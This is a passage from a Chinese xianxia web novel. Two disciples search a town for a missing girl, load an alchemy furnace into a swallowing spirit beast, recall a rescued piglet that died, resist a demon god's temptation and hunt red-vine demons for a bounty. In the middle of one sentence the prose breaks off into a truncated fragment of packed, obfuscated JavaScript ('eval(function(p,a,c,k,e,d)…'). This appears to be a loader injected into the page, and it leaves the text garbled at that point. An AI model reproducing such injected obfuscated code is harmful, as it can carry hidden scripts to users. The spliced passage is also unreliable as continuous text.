挺好的一个少年郎,脑袋上扎着一圈绷带。旁边的阿嬷见了,叹了口气,摇了摇头走开了。 其他人都去逛街采买了,步云邪看着他都觉得疼,道:“刚长出点肉来就乱动,伤口再裂开你就高兴了。” 段星河大开大合地伸了个懒腰给他看,道:“没事了,又没伤着骨头。” 两个人走在街上,见路边有个字画摊子,挂着不少年画和山水,有锦鲤出水,有麒麟送子,有魁星点斗,都画得挺生动的。旁边放着个招牌,上头写着画像,不像不要钱。 一个小伙子穿着一身新衣裳,头发梳得光洁整齐,双手放在膝盖上,挺直了脊背坐着,显得有点局促不安。 小伙子的娘在旁边端详着,十分满意,道:“不错、不错,让媒婆拿着这画跟人相亲,也省的跑来跑去的相看了。” 画师深谙哄好金主的原则,道:“要画的再好看一点么?” 那小伙子搔了搔头,不好意思地道:“好看一点就成,太多了就成了骗人家了。” 画师道:“那行,你低低头,脸显得小点。” 两人觉得有些意思,默默地看了一阵子,举步离开了。段星河走在镇子里,耐心地跟路上的人打听,比划道:“小女孩儿叫魏小雨,十一岁,长这么高,大眼睛,瓜子脸……” 路人摇摇头,直说没见过。他不气馁,又问路边摆摊的小贩,对方摆了摆手,也说没见过。步云邪觉得这样无异于大海捞针,看他那么努力的样子,心里又有点难过。他道:“能找到么?” 段星河仿佛从来没怀疑过这件事,断然道:“我一个人都把你们找回来了,当然也能把小雨找回来。” 这对于他来说不光是个目标,也是让自己不要垮掉的支柱。步云邪有所触动,想起自己刚来这个世界的时候,也一心想要找到其他人。若非如此,他也不会铤而走险,揭了皇榜进宫,冒着极大的危险也要在这里立住脚跟。 小雨那么聪明,灵力又那么强,一定好好地活着,等着他们来接她。想到这里,他又充满了信心。 两人来到镇子头上,见前头有一个告示牌,几个青衣道士骑着白马而来,衣袍上绣着银色的云烟花纹。那几人翻身下马,从背囊里拿出一卷纸,刷上浆糊,利落地把纸贴在了布告牌上。 周围聚着好几个修真者,抬头看着上面的任务。一个五大三粗的莽汉睁着大眼,急切道:“好兄弟,上面说什么?” 另一人道:“嗐,你不识字凑什么热闹。” 那大汉不服气,粗声道:“不识字怎么啦,老子的拳头硬的很,一拳下去什么妖魔鬼怪都给它打爆!” 另一人道:“别吵啦,我给你念。凌烟阁悬赏,东山中灯笼妖作祟,附近村里的百姓不堪其扰,集资出五十两银子,要一百根灯笼妖的灯芯。” 众人互相看了一眼,觉得报酬虽然不少,但一根灯笼妖就只有一根灯芯,完成任务要杀一百只妖怪,也挺费劲的。 大家正在犹豫,一个身穿褐袍的年轻道士挤了进来,伸出大手一把撕下了布告。天这么冷,他还敞着领口,露着古铜色的胸肌,头发草草地结了个发髻,身上弥漫着一股好久没洗澡的汗味,十分邋遢。 这榜没人揭时,众人都蠢蠢欲动,挑肥拣瘦;一有人揭,大家顿时后悔起来。一人抱怨道:“又是你,老于,你怎么什么活儿都接,给不给别人留活路了!” 那褐衣道士三两下把布告叠起来塞进怀里,拱手道:“多谢多谢,最近手头紧,这活儿就让给我吧。” 一人道:“你赌钱去了吧,哪有人这么能花钱的。” 褐衣道士咧嘴笑道:“小赌怡情嘛,不耽误正事。贫道这就斩妖除魔去了,祝各位兄台发财!” 他从人群中挤出去,朝小镇外去了。东边不远处的青山上,云雾中掩映着些亭台楼阁,似乎是个修仙的宗门。段星河向一人打听道:“这位兄台,请问那边是什么地方?” 那人抬眼一看,道:“那边就是凌烟阁的总舵啊,刚才那两个贴告示的就是他们宗门的人。” 段星河跟步云邪对视了一眼,没想到凌烟阁这么近,有机会可以过去看一看。两个人往回走去,经过字画摊时,那小伙子跟他娘已经走了。画师正在画一幅新的画,上面的男子负手而立,衣袂翩然,暗红的发带在风中飘飘荡荡的,模样颇为俊美。 段星河停下了脚步,觉得画中的人熟悉的很,越看越像步云邪。 那人画完最后一笔,还意犹未尽,又提笔写道:“藐姑射之山,有神人居焉。肌肤若冰雪,淖约若处子,不食五谷,吸风饮露,乘云气,御飞龙,而游乎四海之外。” 那是逍遥游中的一段,却是将画中人比作了姑射山中的神仙。段星河拿胳膊肘碰了碰步云邪,道:“你看。” 步云邪也发现了异样,微微扬起眉。段星河轻声道:“他画你干什么?” 步云邪觉得他倒是没有恶意,但被人悄悄画下来,总归有点不太自在。 面前的光被挡了一半,那画师感觉有人在看自己,抬眼道:“客官,要买画么?” 他搁下了笔,却见是刚才的那两个年轻人,一时间十分尴尬,僵在了原地。 14.纵横派 一 双方面面相觑,一时间都没说话。段星河笑了一下,道:“先生画的是谁?” 画师没想到他俩这就回来了,有点不好意思,道:“方才我见两位在旁边站着,这位小郎君生的俊美,一时难以忘怀,便画了下来。两位小郎君是修道之人么?” 步云邪平和道:“先生好眼力。” 那画师一向爱跟长的好看的人打交道。步云邪随口说了一句话,画师便十分高兴,道:“我一看就觉得两位小郎君气质不凡,道骨仙风的。喔对了,这幅画两位若是不嫌弃就拿去好了。” 那副画确实挺好看的,步云邪道了声多谢,接了过来。段星河见他画得这么像,心头微微一动。他拿出一块银子,那画师连忙摆手,道:“不要钱,送你们的。” 先前给魏小雨做的画影图形已经贴完了,正好多做几张备着。段星河道:“先生的画技高超,我想请你给我小妹子画个像。我给你描述她的模样,你能画出来么?” 画师有了点兴趣,道:“能啊,我常帮人画像,你说来试试。” 段星河搬了个板凳在画师旁边坐下了,道:“她十一岁,瓜子脸,腮上有点肉,眼睛大大的,低一点……眉毛比这个浓一些,不不,再稍微淡一点,对了……” 画师画了一阵子,段星河觉得差不多了,抬头道:“你看怎么样?” 步云邪过来看了一眼,发现已经有九成相似了。他十分惊喜,道:“就是这样,先生太厉害了!” 画师也十分自豪,道:“我就说我画的像,镇子里有人丢了孩子、猫狗找我画,都能画个七八成。上午贴出去,下午就找到了。” 他在街上画画太屈才了,该去衙门找个活干,高低能当个找人的台柱子。段星河道:“先生照着这个再画一百张,十张画在羊皮上,九十张画在纸上,做成告示大小。刚才的钱就当定金,画完了我给你结剩下的钱。” 那可不是一笔小钱,画师今天开了大张了,十分高兴,道:“那你们过几天再来吧,我画完了等着你们。” 两人回了驿馆,早早地歇下了。皇帝崇尚炼丹,常派钦天监的人外出行走,各个驿馆里都有丹房。步云邪在丹房里待了几天,炼了不少补气血的大还丹,还有些止血的金疮药、黄连解毒散。他们行走在外常会遇到危险,把药带足了心里就踏实多了。 步云邪每个人都发了一些药,还有几个香囊,里头盛着雄黄、朱砂等物配成的香丸,能够辟虫蛇秽气。伏顺拿到了香囊,嗅了嗅道:“好香啊,还是二师兄好,想的这么妥帖。” 伏顺虽然爱偷懒惹事,但生了一张巧嘴,夸起人来不遗余力。步云邪道:“多亏了李兄帮忙,要不然我一个人可做不了这么多事。” 李玉真谦虚道:“我就打打下手,炼药还是步兄在行。” 赵大海把香囊挂在腰上,觉得自己这个粗人也变得风雅多了。李玉真拿着个香包没送出去,道:“段兄呢?” 厚厚的棉布帘子一掀,段星河大步流星地从外头回来了。他手里拿着一摞羊皮,背囊里插着几大卷告示。他给每人发了一张羊皮,道:“画好了,看看怎么样。” 众人接过去,见上面画着魏小雨的半身像,旁边写着她的名字和年龄,画得跟她本人一般。羊皮不怕弯折磨损,只有两个巴掌那么大,方便携带。有了这画,他们找人就方便多了。伏顺十分高兴,道:“大师兄,还是你有办法,免得问来问去的麻烦。” 李玉真把香囊和药给了他,段星河把东西揣在怀里,道:“辛苦你们了。” 步云邪不怕忙活,就怕没有趁手的家伙事,道:“难得有炉子,当然得多炼点药备着。在野外什么也没有,就麻烦得很。” 段星河想了想,道:“那……要不然就带着炉子上路?” “啊?”步云邪眨了眨眼,“一个紫金丹炉那么重,怎么拖得动啊。” 段星河根本没考虑能不能拉得动的问题,迈步出了门,道:“我去问一下。” 步云邪有点奇怪,见他去了驿丞的办公所在,便也跟了过去。段星河道:“我们能拿点炼药的器具走么?” 驿丞连忙起身道:“大人为陛下效力,办公务要紧,需要什么尽管拿。不过……这些都是朝廷的东西,要写条报备。” 段星河道:“这个容易,我给你写就是了。” 他拿起了笔,铺开纸写道:“十月二十三,自白沙郡驿馆拿紫金丹炉一个,药师柜一个。碾子、砂锅等其他炼药器具若干。” 他回头看步云邪,道:“还需要什么东西?” 步云邪有点傻眼,这样就把他们的丹房搬干净了,还能需要什么东西。 段星河落款签了自己的名字,按了钦天监的印信。驿丞十分诧异,道:“紫金丹炉和药师柜……大人拿得动么?” 段星河道:“应该能吧,这样就可以拿走了么?” 这些东西虽然个头大,其实也不贵重。他们拿走了,驿丞再跟朝廷申请一套新的就行了。可这些东西太沉了,就凭他们那两匹马拉的车,拆了顶子也装不下。 驿丞也不知道他打算怎么拿走,道:“行是行了,大人还要申请一辆车么?” 段星河道:“不用了,多谢。” 他一副胸有成竹的模样,已经想好了怎么办。步云邪和驿丞都有些困惑,跟着他去了东边的丹房,李玉真等人也过来了,屋里乌乌泱泱地站了一圈人。段星河伸手招了招,和颜悦色道:“瓜皮,过来。” 墨墨拍着翅膀飞到他跟前,眨了眨黑豆眼。段星河指着面前一人高的丹炉道:“能不能把这个东西吞下去?” 驿丞知道它是步云邪的灵兽,哈哈笑道:“这小家伙怕是不行,它嘴才多大点——” 他话音未落,墨墨已经张开了深渊巨口,把紫金丹炉吞了一半下去。 驿丞:“……!!!” 段星河鼓励道:“再加把劲,吞下去给你牛肉干吃。” 墨墨扑腾着翅膀,连脚爪子都在用力。它甩了甩头,一伸脖子,把紫金丹炉倒翻起来,一口吞了下去。 驿丞眼睁睁地看着一个几百斤重的紫金丹炉消失在面前,整个人都不好了。墨墨依旧像个萝卜一样大,那个炉子却不知道去了什么地方。段星河摸了摸墨墨的肚子,道:“噎得慌么?” 墨墨打了个嗝,好像根本不碍事。 步云邪有点心疼,道:“沉不沉啊?” 墨墨蹭了蹭他的手心,步云邪掰开它的嘴看了片刻。里头黑咕隆咚的,风声呼呼作响,那个铜疙瘩吞进去就扔到了虚无的空间里,没给它造成任何负担。 段星河道:“吐出来给我。” 墨墨张开了大嘴,甩了甩头,一人高的紫金丹炉咕咚一声滚落出来,三只脚朝上歪着,上面沾满了口水。 步云邪前几天一直待在丹房里,顾不上别的事。段星河把墨墨带在身边,闲来无事,经常拿着核桃、石榴之类的东西训练墨墨。教了几天,它对他爹的要求心领神会,已经能熟练地吞吐需要的东西了。 段星河从荷包里掏出一大块牛肉干喂给它,用力摸了摸它的头,夸奖道:“好孩子,真棒!” 墨墨十分骄傲,开心地蹭了蹭他。驿丞惊呆了,道:“不愧是钦天监的大人,这用灵兽搬运之法实在是太绝妙了。小人今日大开眼界,佩服、佩服!” 段星河谦虚道:“还好还好。瓜皮,来,再试试把这个药师柜吞了。” 高大的药师柜上,一排排都是盛着各种草药的抽屉,上头写着人参、当归、威灵仙、半夏等物。墨墨飞到柜子的一角,张开大嘴,轻而易举地把它吞了下去。它拍着翅膀飞过来,伏顺生怕它把自己压垮了,下意识往后退了一步,道:“找你爹去,我细胳膊细腿的,担不动你。” 墨墨飞到了段星河的肩膀上,分量也就像只小猪崽一样。段星河又喂了它一块牛肉干,道:“真乖。” 这样一个能够代替随身空间的灵兽在整个修仙界都是十分珍贵的,众人彻底服了气,道:“了不起,咱们是捡到宝了。” 带着药师柜和紫金丹炉上路,就能随时随地炼丹了。步云邪十分高兴,过去摸了摸墨墨,道:“多谢你了。” 墨墨眯起了眼,发出了咕噜咕噜的声音。驿丞有点怕它,生怕这家伙一时兴起把自己也吞了,道:“卑职还有事没办完,先走一步,各位请自便。” 他快步离开了,其他人待在丹房里。步云邪道:“接下来有什么打算?” 出来这段时间,大家都意识到这个世界的邪修太多了。他们这点本事根本不足以自保,必须赶快提高自身的修为,要不然下次遇到什么妖道、伥鬼之类的东西,应付不来就糟了。 段星河道:“在这儿住一段时间吧,练一练功,顺便看看告示牌上有没有任务,挣点钱花。” 伏顺道:“我们去看过好几回了,都是空的,一贴出来就被抢走了。” 赵大海道:“就是,上午我们还见三个人为了一个任务在街上打起来了,就为了二十两报酬,打的头破血流的,亏大了。” 那告示牌前经常围着不少人,能不能接到任务全看手速。都是一群莽汉,打起来也是常事。段星河道:“那就随缘吧,各自回去练功,别偷懒。” 众人各自散了,步云邪抱着墨墨坐在窗边,随手摸着它的背。他长得好看,就算抱着一只小猪也不失优雅。丹房里弥漫着药草的气息,碳火烧的暖融融的,墨墨眯着眼,身体窝成圆滚滚的一团,十分惬意。 段星河坐在旁边,看着那情形觉得有些眼熟,道:“你以前是不是有过一只猪,也叫瓜皮?” 步云邪摸着崽子的手停了一下,淡淡道:“嗯,你记得啊。” 段星河寻思道:“记得啊……上一只的名字好像也是我起的,这只应该是瓜皮二号了。” 青岩山上有许多动物,寨子里的人常常去山里打猎,也会下夹子。小时候步云邪在山里发现了一个捕兽夹子,上面夹着个小山猪,它背上的花纹一条条的,圆溜溜的像个小西瓜。 段星河本来和他一起去山里捡蘑菇,见了那只小山猪十分惊讶。它应该是夜里踩到夹子的,地上有不少血迹,已经挣扎的没劲儿了,认命地窝成一团。 它见有人来了,怕的不得了,发出了吱吱的叫声。步云邪看了它良久,道:“哥,它好可怜,咱们把它救下来吧?” 天快亮了,猎人就要来收夹子了,到时候抓回去就把它做成烤乳猪。段星河也有点同情它,过去用力一掰,把夹子打开了。小山猪终于恢复了自由,一瘸一拐地走了几步,倒在了地上。它的一条腿被夹断了,走不了路,不管的话它很可能被其他野兽拖去吃掉。 步云邪蹲下来,摸了摸它的背,仰头道:“要不然就带回去养吧?” 段星河回头把地上的脚印搓掉,免得猎人发现了骂街。小山猪的毛上沾着血,身体怕得不住发抖。步云邪道:“别怕,回去我给你敷药。” 段星河道:“师父肯定不让养,你放哪儿,家里也不让养吧?” 步云邪把它放在了装蘑菇的竹筐里,背在了身后,道:“跟我爷爷说说,养在院子里好了。” 两人往回走去,步云邪的心情十分雀跃,道:“给它起个名字吧,以后它就是咱们两个人的猪了。” 段星河想了想,道:“长得像个西瓜似的,就叫瓜皮好了。” 步云邪笑了,道:“好,那就叫瓜皮。” 段星河送他们到寨子门口,回逍遥观去了。步云邪进了院子,母亲从屋里出来,道:“回来啦,蘑菇捡的怎么样?” 步云邪把筐子放在了地上,扒开了上面盖着的草叶子,道:“没捡到蘑菇,但是捡到了这个。” 母亲见了筐子里探头探脑的小山猪,十分惊讶。步云邪把它抱了出来,道:“它腿受伤了,咱们养它好不好?” 爷爷听见了声音,拄着拐杖从屋里走了出来。小山猪把鼻子搭在步云邪的胳膊上,看着周围的情形。爷爷跟它大眼瞪小眼,沉下了脸道:“不准养这个,它以后会长得很大,獠牙会很长,还会咬人。” 步云邪没想到家里人这么排斥它,十分难过。段星河已经回去了,没人帮他说话。他只好望着母亲,祈求道:“阿娘,让我养吧。我从小教它,它不会伤人的。” 母亲虽然也很同情它,还是轻轻摇了摇头,道:“听你爷爷的吧,咱们不能养它。” 爷爷扳着脸道:“弄出去,不准再讨价还价了。” 阿爸从旁边过来了,提着小山猪,把它扔到了院门外。步云邪哇地一声哭了出来,母亲拉着他进了屋,道:“你以后是要做祭司的人,怎么说哭就哭,忍住。” 步云邪还是没能忍住,断断续续地哭了一天,阿爸和爷爷都没理他。当天晚上他好像听见了小山猪嚎叫的声音,但又很远。他放心不下,趴在窗户上往外看,黑乎乎的一片什么也看不到。 隔天步云邪去逍遥观上早课,在路边发现了那只小山猪的尸体。它应该是被黄鼠狼抓住了,内脏都被掏空了,身体也被吃的乱七八糟的。步云邪当时整个人都懵了,他没想到自己只是对它置之不理,它就这么死了。 它这么小,又受了伤。自己给不了它保护,却又把它带回来,这种没法负责的善良根本就是一种残忍。步云邪心里充满了负罪感,如果没遇到自己,说不定它还能有一条生路。 步云邪记得自己就这么去了逍遥观,上完了早课,整个人都浑浑噩噩的。段星河问过他那只小山猪去哪儿了,步云邪说治好了伤就放走了,段星河也没再追问。 直到十多年后,再想起当时的情形,就像打开了一个陈旧的匣子似的。 段星河道:“瓜皮一号还好么?” 步云邪静了片刻,道:“我没给它治伤,家里人不让养,直接扔出去了。” 段星河其实也早就猜到了,山里这样的动物多的是,活不下去也是它的命。但步云邪一直很愧疚,觉得是自己没有勇气保护它,它才会死的。 段星河看着坐在他膝上的墨墨,轻轻叹了口气。在玄武山上,他应该是想起了小时候的那只小山猪,才决定养它的吧。 “瓜皮。” 段星河叫了一声,墨墨抬起了头。段星河道:“你前头还有个哥哥,它是一号,你是二号。你沾了它的光了,知不知道?” 墨墨不太明白他在说什么,但眼神十分温顺。步云邪轻轻地摸了摸它的脑袋,道:“别这么说,它就是它嘛,各有各的好。” 段星河便笑了,道:“也是,现在还难过么?” 步云邪淡然道:“又不是小孩子了,有什么好难过的。” 他虽然这么说,还是有点伤感。他现在长大了,能决定自己喜欢什么,也有能力保护喜欢的东西,这样就够了。 段星河陪他坐了一会儿,回了自己的房间。他虽然身上有伤,好在还能炼气。他盘膝坐在床上,吐纳了两个周天,感觉体内的力量渐渐充盈起来。这个世界的灵力确实十分充沛,修炼的速度比原来快多了。 段星河自从到这里以来,一直没放松修炼,即使在采石场那么糟糕的环境里,隔三差五也要找时间行气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段星河上回给它偷了头羊就已经够后悔的了,若是再为它杀了人,恐怕要被千夫所指。他对此毫无兴趣,道:“不必了,我不会为你做事的。” 那声音缓缓道:“不识好歹,你知道有多少人想要本座的垂青么?” “别人是别人,我是我。”段星河冷冷道,“我不想答应,就不答应。” 那声音轻轻地笑了,道:“那你想要什么,不需要力量的话,你想要财富么?” 段星河道:“钱够花就行了,我现在什么都不缺。” 那个声音依旧没放弃诱惑他,又道:“那你追求什么,本座都可以满足你。” 段星河沉默了片刻,道:“我想要自在。” 那声音道:“当本座的仆人,一人之下万人之上。你想做什么就能做什么,岂不是天底下最自在的人?” 段星河摇了摇头,道:“听命于你,身不由己,还不是真正的自在。” 那声音饶有兴味道:“那你——觉得什么是自在?” 段星河道:“想做什么就做什么不是真正的自在,想不做什么就不做什么,才是真正的自在。” 他说的不错,强者才有底气拒绝别人,弱者总是唯唯诺诺,无法贯彻自己的意志。那声音静了良久,仿佛被他噎住了。 屋里弥漫着压抑的气氛,段星河也不知道它会不会突然暴怒起来把自己杀了,毕竟对于虺神来说,杀个人类就像碾死一只蚂蚁一样轻松。那声音忽然冷笑起来,道:“你这臭小子,倒是有几分骨气。下次可别再求本座帮你,要不然,我会收取更沉重的代价!” 黏腻的声音消失了,阴沉的气息渐渐散去。段星河松了口气,这才意识到手心里已经攥出了一把汗。那个恶魔在拉扯自己,引诱他走一条更容易但堕落的道路。它给的力量虽然强大,却也会几十倍地折磨自己。他厌恶那种感觉,更不愿意做违背良心的事,还是这种慢慢修炼来的真本事让他心里踏实。 他张开手,星星点点的紫色灵光浮动在手心里,这才是属于他自己的力量。 外头大约亥时了,段星河的心情还有些激荡。床头放着一副金丝软甲,薄薄的却十分坚韧,是前阵子墨墨吐出来的,已经洗干净了。这东西贴身穿着刀枪不入,关键时候能救命。其他人舍不得穿,把它让给了段星河。 段星河摸了摸软甲,眼神温和起来。大家都对他很好,他也想尽力保护所有人。他不想让自己的人生被任何力量左右,能踏踏实实地跟兄弟们在一起,就比什么都强。 次日一早,段星河洗漱完,已经忘却了昨晚的不愉快。他伸了个懒腰,感觉神清气爽。步云邪提了个食盒过来,道:“星哥,起了么?给你带早饭来了。” 他把饭取出来,是一大碗老母鸡炖的参汤,还有两笼包子。汤挺浓的,应该是起了个大早熬的。段星河道:“大早晨的,折腾这干什么?” 步云邪撩衣坐下,道:“驿丞给的,皇帝前阵子送了信过来,让好生招待咱们。这儿的人不知道怎么伺候好,连着送了好几天燕窝,怕吃腻了,今天又改炖汤了。” 他说着忽然停了下来,定定地看着他,仿佛发现了什么。 “你有进境了?” 段星河还想等会儿告诉他,没想到他这就看出来了。他道:“筑基三重了。” 步云邪十分高兴,跟自己突破境界了似的,道:“这么顺利,没遇上什么难关么?” 段星河不想让他担心,没说虺神来引诱自己的事,道:“还早呢,要有难关也得金丹期以后吧?” 步云邪微微一笑,道:“也是。” 他给段星河盛了一碗汤,道:“喝点补补。” 两人相对而坐,鸡汤确实炖的不错,小笼包也挺好吃的。皇帝专门吩咐好生招待他们,可谓是阳光雨露追着步云邪下,整个大幽也是独一份儿了。这里的人意识到他们是皇帝心尖儿上的人,态度也格外殷勤,其他人都沾了他的光了。 步云邪吃了饭,见书桌上摊着一叠告示,笔搁在一旁,道:“写什么呢?” 段星河前几天没事的时候,打算把告示上的字写了,九十张一时半会儿写不完,就搁下了。步云邪拿起一张来,看着上头的内容。寻人启事,魏小雨,十一岁,于三月前失踪,身高四尺,体型偏瘦,巴蜀口音。请有线索者与驿馆联系,提供有效消息者酬谢白银一百两。 步云邪叹了口气,没说什么。段星河也知道机会渺茫,但不想说丧气话。他随手拿起一张纸,端详道:“字难看吗?” 步云邪笑了,道:“还行。” 段星河也知道自己的字写的相当一般,贴出去的东西,还是要顾些面子的,道:“你的字好看,帮我写几张。” 步云邪也不推辞,过去坐下了。阳光透过窗户照进来,他的侧脸沉静,微垂着眼帘。段星河在一旁给他研墨,步云邪写了一阵子,抬头道:“诶,她几月生的?” 段星河记得她出生之前师父摆了半年法阵,当天早晨落的地。他道:“三月生的,甲辰日辰时。” 步云邪随手拿了一张白纸,在上头写道:“甲辰、戊辰、甲辰、戊辰。” 段星河以前没仔细看过她的八字,感觉家里家外有两个人长得一模一样似的,皱起了眉头。步云邪道:“怎么样?” “蝴蝶双飞格,”段星河道,“才杀重,根气弱,地支还自刑,活的挺累的。” 步云邪也觉得这八字压力大,道:“为了获得力量,选这样的日子出生,师父不心疼她么?” 她小小年纪就拥有这么强的灵力,却没有驾驭它的本事,反而为它所累。段星河安抚似的点了点那张纸,道:“罢了,出家人跳脱于五行之外,只要好生修行,这些困不住她的。” 步云邪觉得那都是安慰人的话,她现在流落在外,还不知受了多少苦。段星河道:“慢慢找,总会有希望的。” 步云邪没再说什么,提起了笔,继续写了下去。 15.纵横派 二 众人在驿馆休息了半个月,段星河身上的伤养好了,又恢复了生龙活虎的模样。一大早他在院子里打一套逍遥拳,一拳打出去力道十足,头发在寒风里微微动荡,墨墨蹲在一旁摇头晃脑地看。地上有些细小的雪花,段星河一脚踢起一片雪尘,白乎乎的洒了墨墨一头。它抖了抖脑袋,冻的越发精神了。 伏顺兴高采烈地跑了回来,一路喊道:“大师兄,在不在,看我拿到什么了!” 赵大海跟在他身后,道:“慢点,等等我!” 段星河见他俩像猴子一样上蹿下跳的,道:“怎么了?” 伏顺从咯吱窝底下掏出两张纸,道:“你看!” 段星河展开一看,却见是凌烟阁的告示。平常人揭一张都要看运气,也不知道他是怎么抢到两张的。步云邪端着洗脸水从屋里出来,见了那几张告示也十分惊讶。 步云邪道:“你怎么拿到的?” 伏顺觉得立了大功,自豪道:“前阵子大师兄说要挣点钱花,我听说凌烟阁经常辰时和申时发任务,我每天到点就跟大傻过去看一看。今天早晨下了点小雪,天冷蹲点的人少,刚贴上我就全薅下来了。” 赵大海本来也想说两句表功,都被他抢了,只好道:“啊对。” 段星河看着告示上的内容,一个是百草门的丹修委托的,要取五十枚赤藤妖的内丹,赏金五十两银子。另一个是要抓一条在附近流窜的三尾狐,赏金三百两白银。 白沙郡郊外有不少赤藤妖,平时伪装成藤蔓生在山林里,祸害灵植和周围的百姓,抓它们倒是不难。第二个任务却有些危险,据说狐妖每一百年能修出一条尾巴,三尾狐至少有二百多年的修为了。他们几个刚筑基的毛头小子去降服一条二百年的妖物,实在有些困难。 步云邪沉吟道:“给的钱倒是不少,就是有点危险啊……” 伏顺道:“富贵险中求嘛,怎么样,去试试么?” 反正闲着也是闲着,段星河寻思道:“去看看吧,反正那三尾狐咱们也不一定能碰上。到时候打得过就打,打不过就跑。” 众人答应了,段星河道:“先去吃饭,等会儿去城郊。大海带上帐篷,咱们在外头过夜。” 一群人收拾了东西,片刻在前庭集合。伏顺和李玉真坐在车上,硕大的车厢里塞着帐篷和大锅,墨墨趴在倒扣的大锅上打着瞌睡,黑乎乎的跟锅底一个颜色。段星河和步云邪在前头骑着马,身上披着黑色的呢子斗篷,腰间挎着宝剑,带着一派潇洒利落的气势。 驿丞哼着小曲儿,提着一包烧腊从外头回来,见他们浩浩荡荡地往外走,连忙让到路边道:“几位大人要去公干了?” 段星河道:“出去找几味药材,过几天回来。” 驿丞便拱手道:“一路顺风,恭送大人。” 几人出了城,一路往西南走,前头是一大片稀疏的树林,北边有一条小河蜿蜒伸向远方,白色的冰雪积在岸边,透着一股静谧的寒意。这里就是告示上说遭赤藤妖灾的地方了。段星河在附近转了一圈,感觉没什么危险,就在树林边扎下了营。 路南边有一大片荒地,原来是个苗圃,几个百草门的丹修相中了此地灵力充沛,花了数年种了不少灵植。后来赤藤妖入侵了此地,大量繁殖,灵植被掠夺了养分,枯萎而死。原本的主人也拿这些赤藤妖没办法,只能求助外人帮忙。 药地边还有些东倒西歪的竹篱笆,泥土里裸露着一些枯萎的根,还有一些被吸的干瘪断裂的半大小树。步云邪俯下身,拾起几片枯叶端详,叶子卵形带着锯齿,末梢有个长长的尖儿,种的是玄花菩提。这种树七八年才能成熟,三年结一次果,能帮助突破修为的瓶颈,是不少修士梦寐以求的宝物。 “这玩意儿长大了能卖不少钱吧?” 伏顺凑了过来,看着满地的枯树,觉得有点可惜。 “是啊,”步云邪扔了枯叶,“光种子就贵得很。好不容易养这么大,就这么让那些杂草霍霍了,主人应该气死了。” 远处有几间废弃的房屋,是那几个丹修原本住的地方。这地方的灵气已经被消耗光了,主人放弃了这个地方,但心里窝着一口恶气,不管怎么样都得把那些赤藤妖除掉。 段星河捡起一截枯树,想撅一撅当柴火用。他摘掉了上面缠着的枯藤,随手要扔了。没想到那藤子忽然活了起来,扬起头像蛇一样张开大口,朝他的手腕咬了过来。段星河的反应极快,一把甩开了它。 那根藤子落在地上,干枯的表面渐渐变成了赤红色,身体也充盈饱满了起来,却是伪装成枯草的赤藤妖。 它一双褐色的小眼放出阴冷的光,还不服气,弓起身子朝他扑了过来。段星河拔出长剑,用力斩了下去。赤藤妖在这里横行霸道惯了,还以为这些人跟之前那些丹修一样好对付,没想到撞到了刀口上。 白色的剑光闪过,它被斩成了两段,落在地上发出了沙哑的嘶鸣,扭动着断了气。 大家没想到这么快就遇到了悬赏的目标,看来这附近还潜伏着不少。李玉真蹲下来,捏开它的嘴看了一下,赤藤妖的上颚上长着两排又细又密的牙齿。李玉真倒吸了一口气,道:“这玩意儿牙是尖的,不但吃灵植,还吃肉!” 步云邪道:“这东西应该祸害了不少生灵,杀了它们算是除害了。” 赤藤妖的体内都有一块红色的晶石,是它们吸收的灵力形成的内丹,就是散修们悬赏的东西。这些妖物吃了不少灵植,拿它们的内丹去炼化,也能抵一部分损失了。 段星河剖开了它的肚子,从中掏出了一块红色的石头,上头带着褐色的黏液,感觉有点恶心。他把赤晶石扔进了腰上的篓子里,道:“一个了。” 伏顺感觉他手起刀落十分利索,道:“大师兄,你是不是比原来厉害了?” 段星河擦去了手上的黏液,道:“筑基三重了,没跟你说么?” 他轻描淡写的,修炼的速度却让一般人可望而不可即。伏顺到现在了还没筑基,觉得自己这辈子也就这样了。他羡慕道:“真好啊,你们都这么强。” 段星河道:“好生修炼你也能行,师父教的法门都是一样的。” 伏顺有自知之明,道:“算了吧,我资质有限,可能一辈子都开不了窍。” 他想了想又道:“能跟你们在一起就很好了,多攒点钱,回去盖个大砖房,也让我姐看看我的本事。” 他在家里时,老被他姐嫌弃游手好闲。不过当初也是他老姐发脾气撵着,他才去了逍遥观修行,要不然现在他还在村里偷鸡摸狗。 伏顺有些唏嘘,想起了还有个垫底的,回头看赵大海,道:“你呢?” 赵大海憨厚一笑,道:“我都行,我小妹子跟我说过,活一辈子不容易,不要为难自己。能修成当然好,修不成也没关系,只要开心就好了。” 李玉真道:“你现在开心么?” 赵大海看着他的两匹马,道:“跟着大师兄吃皇粮、又有钱赚,还有这么多牲口,比村里其他人都风光,我已经很满足了。” 兄弟们不提在外颠沛流离辛苦,只觉得跟着他很好。段星河心里一暖,道:“修炼的事慢慢来,需要的话来找我帮忙。这附近有不少赤藤妖,咱们慢慢把它们清理干净。” 众人休息了片刻,开始寻找妖物。步云邪对那些小妖不感兴趣,只是寻思着长生丹的方子上还缺一味雷震子。前段时间他去了几个药店询问,都没找到。店家说这种药材太罕见了,除非自己去野外寻找。一般修道之人挖到了都自己留着,根本舍不得卖给药店。 雷震子一般生在白蚁废弃的巢穴里,能不能找到全看人的运气。步云邪低着头到处寻找,喃喃道:“白蚁的巢穴……白蚁的巢穴……” 赵大海道:“二师兄,你还在找乌灵参么?” 步云邪道:“是啊,抓妖的时候顺便帮我看一眼,找到了给你记一大功。” 其他几个人心中留了意,一边忙活抓妖的事。天色渐渐晚了,众人回到了营地,清点了战利品,一共拿到了七块赤晶石。顺利的话,过不了几天就能完成任务了。篝火熊熊燃烧着,把营地里照的亮堂又暖和。段星河下午顺手抓了两只肥兔子,剥洗了用树枝插着,撒上盐巴,把肉烤的喷香。 步云邪在树林里意外发现了一棵苹果树,摘了几个苹果给他儿子。野苹果长得歪歪扭扭的,虽然不好看,吃起来还挺甜的。墨墨囫囵吞了两个苹果,剩下一个抱在怀里,拿鼻子蹭来蹭去的,宝贝的不得了。 伏顺伸出一根手指挠了挠它的鼻子,道:“墨墨,么么儿。” 墨墨抬头看他,伏顺故意道:“我拿一块饼跟你换个苹果好不好?” 墨墨立刻一口把那个苹果吞下去了,拍着翅膀飞到了步云邪身后。伏顺嘿地一声笑了,道:“不换算了,看你那小气样儿!” 